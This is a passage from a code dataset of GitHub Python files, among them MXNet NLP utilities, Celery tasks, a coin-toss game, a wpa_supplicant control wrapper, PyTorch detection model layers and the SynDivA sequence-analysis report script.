1000000007))","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_151/80.py","file_name":"80.py","file_ext":"py","file_size_in_byte":1444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41169001677","text":"import re\nimport time\nfrom datetime import timedelta\n\nimport mxnet as mx\nfrom mxnet import nd\n\nfrom util.token import BasicTokenizer\n\n\ndef get_text_embedding(embedding_path, pad, bos, eos):\n \"\"\"\n read text embedding vector file, such as Glove/FastText\n :param embedding_path: String\n file path\n :param pad: String\n PAD String\n :param bos: String\n BOS String\n :param eos: String\n EOS String\n :return: Index of embedding matrix, weight matrix, unknown, pad, bos, eos\n \"\"\"\n embedding = mx.contrib.text.embedding.CustomEmbedding(embedding_path,\n elem_delim=' ',\n encoding='utf8',\n vocabulary=None)\n embedding_index = embedding.token_to_idx\n weight = embedding.idx_to_vec\n dim = weight.shape[-1]\n for each in embedding_index:\n embedding_index[each] = embedding_index[each] + 1\n embedding_index[pad] = 0\n weight = nd.concat(nd.zeros((1, dim)), weight, dim=0)\n embedding_index[bos] = len(embedding_index)\n embedding_index[eos] = len(embedding_index)\n weight = nd.concat(weight, nd.random.normal(shape=(2, dim)), dim=0)\n return embedding_index, weight, embedding.unknown_token, pad, bos, eos\n\n\ndef get_time_dif(start_time):\n \"\"\"\n Return the time used since start_time.\n \"\"\"\n end_time = time.time()\n time_dif = end_time - start_time\n return timedelta(seconds=int(round(time_dif)))\n\n\ndef clean_str(row):\n \"\"\"\n clean string input\n :param row: String\n input str\n :return: str\n \"\"\"\n row = str(row).lower().strip()\n row = re.sub(r\"'\", \"'\", row)\n row = re.sub(r\"\\s*'\\s*\", \"'\", row)\n _ = []\n row = list(row)\n for i, j in enumerate(row):\n if i > 0 and re.match(r\"[^.\\d]\", j) and re.match(r\"[.\\d]\", row[i - 1]):\n _.append(\" \")\n if i > 0 and re.match(r\"[.\\d]\", j) and re.match(r\"[^.\\d]\", row[i - 1]):\n _.append(\" \")\n if i > 0 and re.match(r\"[^A-Za-z0-9'.]\", j) and re.match(\n r\"[A-Za-z0-9'.]\", row[i - 1]):\n _.append(\" \")\n if i > 0 and re.match(r\"[A-Za-z0-9'.]\", j) and re.match(\n r\"[^A-Za-z0-9'.]\", row[i - 1]):\n _.append(\" \")\n if i > 0 and re.match(r\"[^A-Za-z0-9'.]\", j) and re.match(\n r\"[^A-Za-z0-9'.]\", row[i - 1]):\n _.append(\" \")\n _.append(j)\n row = \"\".join(_)\n return re.sub(r\"\\s+\", \" \", row).strip()\n\n\ndef try_gpu(gpu=False):\n \"\"\"\n If GPU is available, return mx.gpu(0); else return mx.cpu()\n :param gpu: use GPU or not\n :return:\n \"\"\"\n try:\n if not gpu:\n ctx = mx.cpu()\n else:\n ctx = mx.gpu()\n _ = mx.nd.array([0], ctx=ctx)\n except:\n ctx = mx.cpu()\n return ctx\n\n\ndef process_one_seq(seq_tokens, max_seq_len, PAD, BOS=None, EOS=None):\n \"\"\"\n padding seq to same size\n :param seq_tokens: List\n List of tokens in inputs list\n :param max_seq_len: Int\n max length for padding or cut\n :param PAD: padding item\n :param BOS: Begin item\n :param EOS: End item\n :return: List\n List after padding or cut\n \"\"\"\n if BOS is not None:\n seq_tokens = [BOS] + seq_tokens[:max_seq_len - 1]\n if EOS is not None:\n add = [EOS] + [PAD] * (max_seq_len - len(seq_tokens) - 1)\n else:\n add = [PAD] * (max_seq_len - len(seq_tokens))\n seq_tokens += add\n return seq_tokens[0: max_seq_len]\n","repo_name":"hufei-neo/NER","sub_path":"util/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6250980612","text":"from push import easypush\nfrom django.http import HttpResponse\n\nfrom celery import shared_task\n\n@shared_task\ndef add_req_push(sender, receiver):\n alert = '%s加你好友' % sender.username\n custom = {\n 'type': 'friend',\n 'sender': str(sender.username),\n }\n msg = easypush.BuildIOSMsg(alert, custom)\n easypush.DemoPushToken(msg, receiver.token)\n\ndef add_req_push_n(sender, receiver):\n alert = '%s加你好友' % sender.username\n custom = {\n 'type': 'friend',\n 'sender': sender.username,\n }\n msg = easypush.BuildIOSMsg(alert, custom)\n easypush.DemoPushToken(msg, receiver.token)\n\n@shared_task\ndef test_celery():\n from .models import Test\n Test.objects.create(text='1231231401-2402930-4295')","repo_name":"moment-x/django_uwsgi","sub_path":"webapp2/users/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39681081983","text":"import os\nfrom celery import Celery\n\nos.environ.setdefault('DJANGO_SETTINGS_MODULE', 'insure.settings')\n\napp = Celery('insure')\napp.config_from_object('django.conf:settings', namespace='CELERY')\napp.autodiscover_tasks()\n\n\n# app.conf.beat_schedule = {\n# 'task_name': {\n# 'task': 'main_app.tasks.my_task',\n# 'schedule': crontab(),\n# }\n# }\n\n\n@app.task(bind=True)\ndef debug_task(self):\n print(f'Request: {self.request}')\n","repo_name":"revike/insure","sub_path":"insure/celery.py","file_name":"celery.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13549655327","text":"import random\r\n\r\nwhile True:\r\n gameOptions = ['پشت', 'رو']\r\n userWins = 0\r\n computer1Wins = 0\r\n computer2Wins = 0\r\n gameCount = 0\r\n\r\n while gameCount < 5:\r\n userChoice = input('پالام پولوم پیلیش؟(رو یا پشت)')\r\n computer1Choice = random.choice(gameOptions)\r\n computer2Choice = random.choice(gameOptions)\r\n\r\n if userChoice in ('پشت', 'رو'):\r\n print(f'شما: {userChoice}، کامپیوتر1: {computer1Choice}، کامپیوتر2: {computer2Choice}')\r\n\r\n if userChoice == computer1Choice == computer2Choice:\r\n print(f'مساوی! همه {userChoice} انتخاب کردند')\r\n\r\n else:\r\n choices = [userChoice, computer1Choice, computer2Choice]\r\n if choices.count(userChoice) == 1:\r\n userWins += 1\r\n print('بردی!')\r\n\r\n elif choices.count(computer1Choice) == 1:\r\n computer1Wins += 1\r\n print('کامپیوتر1 برنده شد!')\r\n\r\n else:\r\n computer2Wins += 1\r\n print('کامپیوتر2 برنده شد!')\r\n\r\n gameCount += 1\r\n else:\r\n print('اشتباه انتخاب کردی دوباره امتحان کن!')\r\n\r\n print('بازی تموم شد ...')\r\n if (userWins >= computer1Wins) and (userWins >= computer2Wins):\r\n print('هووورا برنده شدی!!!')\r\n elif (computer1Wins >= userWins) and (computer1Wins >= computer2Wins):\r\n print('کامپیوتر1 برنده شد!')\r\n else:\r\n print('کامپیوتر2 برنده شد!')\r\n\r\n playAgain = input(\"بازم بازی کنیم؟ (بله/خیر): \")\r\n if playAgain == 'خیر':\r\n break\r\n","repo_name":"aloneboy11/osLab","sub_path":"PalamPulumPilich/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1822,"program_lang":"python","lang":"fa","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6748294237","text":"xs = open(\"inp.txt\").read().split()\n\nfound = False\n\nfor s in xs:\n for t in xs:\n if [s[i] == t[i] for i in range(len(s))].count(False) == 1:\n found = True\n b1, b2 = s, t\n break\n if found:\n break\n\nprint(b1)\nprint(b2)\n\nfor i in range(len(b1)):\n if b1[i] != b2[i]:\n index = i\n\nprint(\"Answer:\", b1[:index] + b1[index+1:])\n\n","repo_name":"trggr/advent2018","sub_path":"d2/d2b.py","file_name":"d2b.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32337147884","text":"import os\nimport wpa_ctrl_iface as wpa_ctrl\n\nclass WPACtrl:\n\n def __init__(self, ctrl_iface_path):\n self.attached = 0\n\n self.ctrl_iface_path = ctrl_iface_path\n\n self.ctrl_iface = wpa_ctrl.wpa_ctrl_open(ctrl_iface_path)\n\n if not self.ctrl_iface:\n raise error('wpa_ctrl_open failed')\n\n\n def close(self):\n if self.attached == 1:\n self.detach()\n\n wpa_ctrl.wpa_ctrl_close(self.ctrl_iface)\n\n def __del__(self):\n self.close()\n\n def request(self, cmd):\n '''\n Send a command to wpa_supplicant/hostapd. Returns the command response\n\t\tin a string.\n '''\n\n try:\n data = wpa_ctrl.wpa_ctrl_request(self.ctrl_iface, cmd)\n except wpa_ctrl.socket.error:\n raise error('wpa_ctrl_request failed')\n\n if data == -2:\n raise error('wpa_ctrl_request timed out')\n\n return data\n\n def attach(self):\n '''\n Register as an event monitor for the control interface.\n '''\n if self.attached == 1:\n return\n\n try:\n ret = wpa_ctrl.wpa_ctrl_attach(self.ctrl_iface)\n except wpa_ctrl.socket.error:\n raise error('wpa_ctrl_attach failed')\n\n if ret == True:\n self.attached = 1\n elif ret == -2:\n raise error('wpa_ctrl_attach timed out')\n\n def detach(self):\n '''\n Unregister event monitor from the control interface.\n '''\n if self.attached == 0:\n return\n\n try:\n ret = wpa_ctrl.wpa_ctrl_detach(self.ctrl_iface)\n except wpa_ctrl.socket.error:\n raise error('wpa_ctrl_detach failed')\n\n if ret == True:\n self.attached = 0\n elif ret == -2:\n raise error('wpa_ctrl_attach timed out')\n\n def pending(self):\n '''\n Check if any events/messages are pending. Returns True if messages are pending,\n\t\totherwise False.\n '''\n try:\n return wpa_ctrl.wpa_ctrl_pending(self.ctrl_iface)\n except wpa_ctrl.socket.error:\n raise error('wpa_ctrl_pending failed')\n\n def recv(self):\n '''\n Recieve a pending event/message from ctrl socket. Returns a message string.\n '''\n data = wpa_ctrl.wpa_ctrl_recv(self.ctrl_iface)\n return data\n\n def scanresults(self):\n '''\n Return list of scan results. Each element of the scan result list is a string\n\t\tof properties for a single BSS. This method is specific to wpa_supplicant.\n '''\n\n bssids = []\n\n for cell in range(1000):\n ret = self.request('BSS %d' % cell)\n print(ret)\n if 'bssid=' in ret:\n bssids.append(ret)\n else:\n break\n\n return bssids\n\nclass error(Exception): pass\n\n\n\n\n\n","repo_name":"iotivity/iotivity-lite","sub_path":"python/obt_web/WPACtrl.py","file_name":"WPACtrl.py","file_ext":"py","file_size_in_byte":2851,"program_lang":"python","lang":"en","doc_type":"code","stars":120,"dataset":"github-code","pt":"61"} +{"seq_id":"48346208","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torchvision import models\nfrom copy import deepcopy\nfrom . import resnet as resnet_base\n\n# This function is derived from torchvision VGG make_layers()\n# https://github.com/pytorch/vision/blob/master/torchvision/models/vgg.py\ndef vgg(cfg, i, conv_layer, batch_norm=False):\n layers = []\n in_channels = i\n for v in cfg:\n if v == 'M':\n layers += [nn.MaxPool2d(kernel_size=2, stride=2)]\n elif v == 'C':\n layers += [nn.MaxPool2d(kernel_size=2, stride=2, ceil_mode=True)]\n else:\n if isinstance(v, str) and v[0]=='P': # CFR support\n v=int(v[1:])\n conv2d = ProbConv2d(conv_layer(in_channels, v, kernel_size=3, padding=1))\n else:\n conv2d = conv_layer(in_channels, v, kernel_size=3, padding=1)\n\n if batch_norm:\n layers += [conv2d, nn.BatchNorm2d(v), nn.ReLU(inplace=not isinstance(conv2d, ProbConv2d))]\n else:\n layers += [conv2d, nn.ReLU(inplace=not isinstance(conv2d, ProbConv2d))]\n in_channels = v\n pool5 = nn.MaxPool2d(kernel_size=3, stride=1, padding=1)\n conv6 = conv_layer(512, 1024, kernel_size=3, padding=6, dilation=6)\n conv7 = conv_layer(1024, 1024, kernel_size=1)\n layers += [pool5, conv6, nn.ReLU(inplace=True), conv7, nn.ReLU(inplace=True)]\n return layers\n\ndef resnet(conv_layer, batch_norm=False):\n resnet_base.conv_layer=conv_layer\n backbone=resnet_base.resnet50()\n models.resnet50(pretrained=conv_layer==nn.Conv2d)\n\n layers=nn.Sequential(\n backbone.conv1,\n backbone.bn1,\n backbone.relu,\n #backbone.maxpool,\n backbone.layer1,\n backbone.layer2,\n backbone.layer3,\n )\n\n return layers\n\nclass ScaleLayer(nn.Module):\n def __init__(self, scale):\n super().__init__()\n self.scale=scale\n\n def forward(self, x):\n return x*self.scale\n\ndef decoder():\n modules = []\n modules.append(\n nn.Sequential(\n nn.ReflectionPad2d(1),\n nn.Conv2d(512, 512, kernel_size=3),\n nn.BatchNorm2d(512),\n nn.LeakyReLU(),\n nn.ReflectionPad2d(1),\n nn.ConvTranspose2d(512, 256, kernel_size=3, stride=2, output_padding=1),\n nn.BatchNorm2d(256),\n nn.LeakyReLU(),\n\n nn.ReflectionPad2d(1),\n nn.ConvTranspose2d(256, 128, kernel_size=3, stride=2, output_padding=1),\n nn.BatchNorm2d(128),\n nn.LeakyReLU(),\n\n #nn.ReflectionPad2d(1),\n nn.Conv2d(128, 64, kernel_size=3),\n nn.BatchNorm2d(64),\n nn.LeakyReLU(),\n\n nn.ReflectionPad2d(1),\n nn.ConvTranspose2d(64, 32, kernel_size=3, stride=2, output_padding=1),\n nn.BatchNorm2d(32),\n nn.LeakyReLU(),\n\n nn.ReflectionPad2d(1),\n nn.Conv2d(32, 3, kernel_size=3),\n nn.Tanh(),\n ScaleLayer(160.)\n )\n )\n\n return nn.Sequential(*modules)\n\ndecoder_large_28 = nn.Sequential(\n nn.Conv2d(512, 512, kernel_size=3, padding=1),\n nn.BatchNorm2d(512),\n nn.LeakyReLU(inplace=True),\n nn.ConvTranspose2d(512, 512, kernel_size=3, stride=2, output_padding=1),\n nn.BatchNorm2d(512),\n nn.LeakyReLU(inplace=True),\n\n nn.Conv2d(512, 512, kernel_size=3),\n nn.BatchNorm2d(512),\n nn.LeakyReLU(inplace=True),\n nn.ConvTranspose2d(512, 256, kernel_size=3, stride=2, output_padding=1),\n nn.BatchNorm2d(256),\n nn.LeakyReLU(inplace=True),\n\n nn.Conv2d(256, 256, kernel_size=3),\n nn.BatchNorm2d(256),\n nn.LeakyReLU(inplace=True),\n nn.ConvTranspose2d(256, 128, kernel_size=3, stride=2, output_padding=1),\n nn.BatchNorm2d(128),\n nn.LeakyReLU(inplace=True),\n\n nn.Conv2d(128, 128, kernel_size=3),\n nn.BatchNorm2d(128),\n nn.LeakyReLU(inplace=True),\n nn.Conv2d(128, 64, kernel_size=3),\n nn.BatchNorm2d(64),\n nn.LeakyReLU(inplace=True),\n\n nn.Conv2d(64, 64, kernel_size=3, padding=1),\n nn.BatchNorm2d(64),\n nn.LeakyReLU(inplace=True),\n nn.ConvTranspose2d(64, 32, kernel_size=3, stride=2, output_padding=1),\n nn.BatchNorm2d(32),\n nn.LeakyReLU(inplace=True),\n\n nn.Conv2d(32, 3, kernel_size=3),\n nn.Tanh(),\n ScaleLayer(160.)\n)\n\ndecoder_large_21 = nn.Sequential(\n nn.Conv2d(512, 512, kernel_size=3, padding=1),\n nn.BatchNorm2d(512),\n nn.LeakyReLU(inplace=True),\n nn.ConvTranspose2d(512, 256, kernel_size=3, stride=2, output_padding=1),\n nn.BatchNorm2d(256),\n nn.LeakyReLU(inplace=True),\n\n nn.Conv2d(256, 256, kernel_size=3),\n nn.BatchNorm2d(256),\n nn.LeakyReLU(inplace=True),\n nn.ConvTranspose2d(256, 128, kernel_size=3, stride=2, output_padding=1),\n nn.BatchNorm2d(128),\n nn.LeakyReLU(inplace=True),\n\n nn.Conv2d(128, 128, kernel_size=3),\n nn.BatchNorm2d(128),\n nn.LeakyReLU(inplace=True),\n nn.Conv2d(128, 64, kernel_size=3),\n nn.BatchNorm2d(64),\n nn.LeakyReLU(inplace=True),\n\n nn.Conv2d(64, 64, kernel_size=3, padding=1),\n nn.BatchNorm2d(64),\n nn.LeakyReLU(inplace=True),\n nn.ConvTranspose2d(64, 32, kernel_size=3, stride=2, output_padding=1),\n nn.BatchNorm2d(32),\n nn.LeakyReLU(inplace=True),\n\n nn.Conv2d(32, 3, kernel_size=3),\n nn.Tanh(),\n ScaleLayer(160.)\n)\n\ndecoder_large_14 = nn.Sequential(\n nn.Conv2d(256, 256, kernel_size=3, padding=1),\n nn.BatchNorm2d(256),\n nn.LeakyReLU(inplace=True),\n nn.ConvTranspose2d(256, 128, kernel_size=3, stride=2, output_padding=1),\n nn.BatchNorm2d(128),\n nn.LeakyReLU(inplace=True),\n\n nn.Conv2d(128, 128, kernel_size=3, padding=1),\n nn.BatchNorm2d(128),\n nn.LeakyReLU(inplace=True),\n nn.Conv2d(128, 64, kernel_size=3),\n nn.BatchNorm2d(64),\n nn.LeakyReLU(inplace=True),\n\n nn.Conv2d(64, 64, kernel_size=3, padding=1),\n nn.BatchNorm2d(64),\n nn.LeakyReLU(inplace=True),\n nn.ConvTranspose2d(64, 32, kernel_size=3, stride=2, output_padding=1),\n nn.BatchNorm2d(32),\n nn.LeakyReLU(inplace=True),\n\n nn.Conv2d(32, 3, kernel_size=3),\n nn.Tanh(),\n ScaleLayer(160.)\n)\n\ndecoder_large_7 = nn.Sequential(\n nn.Conv2d(128, 128, kernel_size=3),\n nn.BatchNorm2d(128),\n nn.LeakyReLU(inplace=True),\n nn.Conv2d(128, 64, kernel_size=3),\n nn.BatchNorm2d(64),\n nn.LeakyReLU(inplace=True),\n\n nn.Conv2d(64, 64, kernel_size=3, padding=1),\n nn.BatchNorm2d(64),\n nn.LeakyReLU(inplace=True),\n nn.ConvTranspose2d(64, 32, kernel_size=3, stride=2, output_padding=1),\n nn.BatchNorm2d(32),\n nn.LeakyReLU(inplace=True),\n\n nn.Conv2d(32, 3, kernel_size=3),\n nn.Tanh(),\n ScaleLayer(160.)\n)\n\ndecoder_map={7:decoder_large_7, 14:decoder_large_14, 21:decoder_large_21, 28:decoder_large_28}\n\ndef add_extras(cfg, i, conv_layer, batch_norm=False):\n # Extra layers added to VGG for feature scaling\n layers = []\n in_channels = i\n flag = False\n for k, v in enumerate(cfg):\n if in_channels != 'S':\n if v == 'S':\n layers += [conv_layer(in_channels, cfg[k + 1], kernel_size=(1, 3)[flag], stride=2, padding=1)]\n else:\n layers += [conv_layer(in_channels, v, kernel_size=(1, 3)[flag])]\n flag = not flag\n in_channels = v\n return layers\n\ndef multibox(conv_layer, vgg, extra_layers, cfg, num_classes):\n loc_layers = []\n conf_layers = []\n vgg_source = [21, -2]\n for k, v in enumerate(vgg_source):\n loc_layers += [conv_layer(vgg[v].out_channels, cfg[k] * 4, kernel_size=3, padding=1)]\n conf_layers += [conv_layer(vgg[v].out_channels, cfg[k] * num_classes, kernel_size=3, padding=1)]\n for k, v in enumerate(extra_layers[1::2], 2):\n loc_layers += [conv_layer(v.out_channels, cfg[k] * 4, kernel_size=3, padding=1)]\n conf_layers += [conv_layer(v.out_channels, cfg[k] * num_classes, kernel_size=3, padding=1)]\n return vgg, extra_layers, (loc_layers, conf_layers)\n\ndef add_extras_resnet(conv_layer, input_size=[1024, 512, 512, 256, 256, 256]):\n # Extra layers added to VGG for feature scaling\n additional_blocks = [] # 存放额外卷积层的列表\n # input_size = [1024, 512, 512, 256, 256, 256] for resnet50\n middle_channels = [256, 256, 128, 128, 128]\n # input_size[:-1]=[1024, 512, 512, 256, 256], input_size[1:]=[512, 512, 256, 256, 256]\n for i, (input_ch, output_ch, middle_ch) in enumerate(zip(input_size[:-1], input_size[1:], middle_channels)):\n padding, stride = (1, 2) if i < 3 else (0, 1)\n layer = nn.Sequential(\n conv_layer(input_ch, middle_ch, kernel_size=1, bias=False),\n nn.BatchNorm2d(middle_ch),\n nn.ReLU(inplace=True),\n conv_layer(middle_ch, output_ch, kernel_size=3, padding=padding, stride=stride, bias=False),\n nn.BatchNorm2d(output_ch),\n nn.ReLU(inplace=True),\n )\n additional_blocks.append(layer)\n return additional_blocks\n\ndef multibox_resnet(conv_layer, resnet, extra_layers, cfg, num_classes):\n loc_layers = []\n conf_layers = []\n\n loc_layers += [conv_layer(1024, cfg[0] * 4, kernel_size=3, padding=1, bias=False)]\n conf_layers += [conv_layer(1024, cfg[0] * num_classes, kernel_size=3, padding=1, bias=False)]\n for k, v in enumerate(extra_layers, 1):\n loc_layers += [conv_layer(v[-3].out_channels, cfg[k] * 4, kernel_size=3, padding=1, bias=False)]\n conf_layers += [conv_layer(v[-3].out_channels, cfg[k] * num_classes, kernel_size=3, padding=1, bias=False)]\n return resnet, extra_layers, (loc_layers, conf_layers)\n\ndef discriminator(k=4, fc=True):\n return Discriminator(models.resnet18(pretrained=True, progress=False), k, fc=fc)\n\nclass Discriminator(nn.Module):\n def __init__(self, base_net, k=4, fc=True):\n super().__init__()\n self.base_net=base_net\n if hasattr(self.base_net,'fc'):\n self.base_net.fc=nn.Linear(base_net.fc.in_features, k) if fc else nn.Sequential()\n else:\n self.base_net.classifier=nn.Sequential(\n nn.Linear(512 * 7 * 7, 4096),\n nn.ReLU(True),\n nn.Dropout(),\n nn.Linear(4096, 4096),\n nn.ReLU(True),\n nn.Dropout(),\n nn.Linear(4096, k),\n )\n self.fc=fc\n\n def forward(self, x):\n x = self.base_net(x)\n if self.fc:\n x = F.softmax(x, dim=-1)\n return x\n\nclass ProbConv2d(nn.Module):\n def __init__(self, conv_layer, eps=1e-8):\n super().__init__()\n self.in_channels = conv_layer.in_channels\n self.out_channels = conv_layer.out_channels\n if hasattr(conv_layer,'K'):\n self.K=conv_layer.K\n\n self.conv_mean=conv_layer\n self.conv_std=deepcopy(conv_layer)\n self.eps=eps\n\n def forward(self, x, softmax_attention=None):\n if softmax_attention is None:\n x_mean=self.conv_mean(x)\n x_log_var=self.conv_std(x)\n else:\n x_mean = self.conv_mean(x, softmax_attention)\n x_log_var = self.conv_std(x, softmax_attention)\n #x_log_var = torch.where(torch.isinf(x_log_var.exp()), torch.full_like(x_log_var, 0), x_log_var)\n x_log_var = x_log_var.clip(max=10)\n return self.reparameterize(x_mean, x_log_var)\n\n # 随机生成隐含向量\n def reparameterize(self, mu, logvar):\n std = logvar.mul(0.5).exp_()\n esp = torch.randn(*mu.size())\n z = mu + std * esp\n return z, mu, logvar","repo_name":"7eu7d7/RobustDet","sub_path":"models/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":11524,"program_lang":"python","lang":"en","doc_type":"code","stars":41,"dataset":"github-code","pt":"61"} +{"seq_id":"5260845288","text":"#!/usr/bin/env python\n# title : syndiva.py\n# description : This script will analyze fasta files, look for restriction sites,\n# cut the sequences around the restriction sites,\n# translate the nucleic sequences into amino acids sequences.\n# author : Fabienne Wong Jun Tai and Benjamin Dartigues\n# creation date : 20121107\n# version : 1.0 - revised November 2012\n# version : 1.1 - revised March 2022\n# usage : python syndiva.py -i file.fasta -o /output/dir/ -p pattern -5 seq_restric_5'-3 seq_restric_3'\n# notes :\n# # python_version :3.7.11\n# # biopython_max_version :1.72\n# ==============================================================================\nimport math\nimport re\nimport subprocess\nimport sys\n\nimport matplotlib\nimport numpy\nfrom args import Args\nfrom args import get_os_path_join, get_os_path_name\nfrom Bio import pairwise2\nfrom Bio import SeqIO\nfrom Bio.Seq import Seq\nfrom Bio.Seq import translate\nfrom Bio.SubsMat import MatrixInfo\n\nmatplotlib.use('Agg')\nfrom matplotlib import pyplot as plot # noqa: I202,E402\n\n\nargs = Args()\n# Variables initialization\ndirectory = args.output_dir\nmcl_file = get_os_path_join(directory, \"mcl.in\")\nmcl_output = get_os_path_join(directory, \"mcl.out\")\nhtml_file = get_os_path_join(directory, \"syndiva_report.html\")\ngraph_pic = get_os_path_join(directory, \"distri.png\")\ninput_file = get_os_path_name(args.input)\nsite_res_5 = args.site_res_5\nsite_res_3 = args.site_res_3\ntag = {'mut': [], 'ok_stop_ext': [], 'stop': [], 'no_restric': [], 'no_multiple': [], 'amber': []}\nall_seq = []\nall_seq_fasta = {} # dictionnary that will store information about all the sequences\ngood_seq = {} # dictionnary that will store information about the valid sequences\nidentical_clones = {}\nvar_seq_common = {} # dictionnary that will store the number of sequences that share the same variable parts\nalign_scores = []\nnb_var_part = 0\n\n\ndef get_identity(str1, str2):\n if len(str2) > len(str1):\n return (len(str2) - len([i for i in range(len(str1)) if str1[i] != str2[i]])) / len(str2)\n else:\n return (len(str1) - len([i for i in range(len(str1)) if str1[i] != str2[i]])) / len(str1)\n\n\ndef reverse_complement(_seq):\n return str(Seq(_seq).reverse_complement())\n\n\ndef generate_aln(seq_dic, ids): # sourcery skip: use-join\n # Multiple Sequence Alignment via ClustalO\n _input = ''\n for sequence_id in ids:\n _input += '>%s\\n%s\\n' % (sequence_id, re.sub(\"(.{80})\", \"\\\\1\\n\", seq_dic[sequence_id]['prot'], re.DOTALL))\n p = subprocess.Popen([\"clustalo\", \"-i\", \"-\", \"--outfmt\", \"clu\"], shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, universal_newlines=True)\n aln_out, aln_err = p.communicate(input=_input)\n return aln_out\n\n\ndef report_html(_html_file, _tag, _all_seq, _good_seq, _all_seq_fasta, _identical_clones, _nb_var_part, _var_seq_common, _align_scores, _args):\n # Generate the html file for the report\n _all_seq.sort()\n for key in _tag.keys():\n _tag[key].sort()\n _good_seq = dict(sorted(_good_seq.items()))\n good_ids = _good_seq.keys()\n w = open(_html_file, 'w')\n w.write(\n 'SynDivA Report

SynDivA Report

Input data

')\n\n # Input data\n w.write(\n '

Input file:
%s

Number of sequences in input file:
%d

Pattern of the sequence bank:
%s

5\\' restriction site:
%s

3\\' restriction site:
%s

' % (\n input_file, len(_all_seq), _args.pattern, _args.site_res_5, _args.site_res_3))\n\n # Sequence analysis\n w.write(\n '

Sequences analysis

Caption:

  • Valid sequences that will be part of the next '\n 'analysis
  • Good sequences but will not be part of the next analysis
  • Rejected sequences
')\n w.write(\n '' % (\n len(_tag['no_restric']), float(len(_tag['no_restric'])) / float(len(_all_seq)) * 100, len(_tag['no_multiple']), float(len(_tag['no_multiple'])) / float(len(_all_seq)) * 100, len(_tag['stop']),\n float(len(_tag['stop'])) / float(len(_all_seq)) * 100, len(_tag['mut']), float(len(_tag['mut'])) / float(len(_all_seq)) * 100, len(good_ids),\n float(len(good_ids)) / float(len(_all_seq)) * 100,\n len(_tag['amber'])))\n w.write(\n '
Absence of restriction sitesIncorrect number of nucleotides between '\n 'the restriction sitesStop codon inside the area of interestMutation in the conserved regionsValid sequencesAmber codon in the sequence (inside the area of interest)
%d sequence(s) (%.2f%%)%d sequence(s) (%.2f%%)%d sequence(s) (%.2f%%)%d sequence(s) (%.2f%%)%d sequence(s) (%.2f%%)%d sequence(s)
%s%s%s%s%s%s
' % (\n '
'.join(_tag['no_restric']), '
'.join(_tag['no_multiple']), '
'.join(_tag['stop']), '
'.join(_tag['mut']), '
'.join(good_ids), '
'.join(_tag['amber'])))\n # Variable regions analysis\n w.write(\n '

Variable regions analysis

The following group of sequences are identical clones on the variable '\n 'regions:

')\n identical_clones_seq = _identical_clones.keys()\n if identical_clones_seq:\n for seq in identical_clones_seq:\n ids = list(set(_identical_clones[seq])) # return only one occurrence of each item in the list\n w.write('
%d sequences (%.2f%% of valid sequences)
%s
' % (\n len(ids), float(len(ids)) / float(len(good_ids)) * 100, '
'.join(ids)))\n w.write('
')\n for z in range(len(_good_seq[ids[0]]['var'])):\n w.write('' % (z + 1, _good_seq[ids[0]]['var'][z]))\n w.write('
Variable regionRepeated sequence
%d%s
')\n else:\n w.write('

No clone was found.

')\n\n first = True\n for i in range(_nb_var_part):\n keys = []\n for k in _var_seq_common[str(i + 1)].keys():\n nb = _var_seq_common[str(i + 1)][k]\n if nb > 1:\n if first:\n w.write(\n '

Here\\'s the distribution of the repeated sequences in variable regions:

')\n first = False\n keys.append(k)\n else:\n keys.append(k)\n nb = len(keys)\n if nb != 0:\n w.write('')\n for z in range(nb):\n if z == 0:\n w.write('' % (nb, i + 1))\n w.write('' % (\n keys[z], _var_seq_common[str(i + 1)][keys[z]], float(_var_seq_common[str(i + 1)][keys[z]]) / float(len(good_ids)) * 100))\n w.write('
Variable '\n 'regionRepeated sequenceNumber of occurrences (percentage of valid sequences)
%d%s%d (%.2f%%)
')\n # Clustering\n w.write('

Clustering

The following clusters were generated by MCL:

')\n for line in open(mcl_output, 'r'):\n w.write('
%d sequences (%.2f%% of valid sequences)
%s
' % (\n len(line.split(\"\\t\")), float(len(line.split(\"\\t\"))) / float(len(good_ids)) * 100, '
'.join(line.split(\"\\t\"))))\n # Statistics\n w.write('

Statistics

')\n w.write('

Here\\'s some statistics about the valid sequences:

Mean for the pairwise alignement scores: %.2f
Standard deviation: %.2f

' % (\n float(numpy.mean(_align_scores)), float(numpy.std(_align_scores))))\n w.write('
\"Distribution
' % get_os_path_name(graph_pic))\n w.write('
')\n uniq_scores = sorted(list(set(_align_scores)))\n scores_dic = {}\n for _score in uniq_scores:\n scores_dic[_score] = _align_scores.count(_score)\n scores_dic = dict(sorted(scores_dic.items()))\n scores = scores_dic.items()\n # scores.sort()\n for el in scores:\n w.write('' % (el[0], el[1]))\n w.write('
Pairwise Alignment ScoreNumber of occurrences
%.2f%d
')\n # Annex\n w.write('

Annex

')\n w.write('

Valid protein sequences in FASTA format:

')\n aln_out = generate_aln(_good_seq, good_ids)\n w.write(\n '

Multiple sequence alignment of the valid sequences generated by Clustal Omega:

' % str(\n aln_out))\n\n if _tag['no_multiple']:\n w.write(\n '

Protein sequences with an incorrect number of nucleotides between the restriction sites in FASTA format:

')\n\n if _tag['mut']:\n w.write('

Mutated protein sequences in FASTA format:

')\n aln_out = generate_aln(_all_seq_fasta, _tag['mut'])\n\n w.write(\n '

Multiple sequence alignment of the mutated sequences generated by Clustal Omega:

' % str(\n aln_out))\n\n if _tag['stop']:\n w.write('

Protein sequences with a stop codon in FASTA format:

')\n\n if _tag['amber']:\n w.write('

Protein sequences with an amber codon in FASTA format:

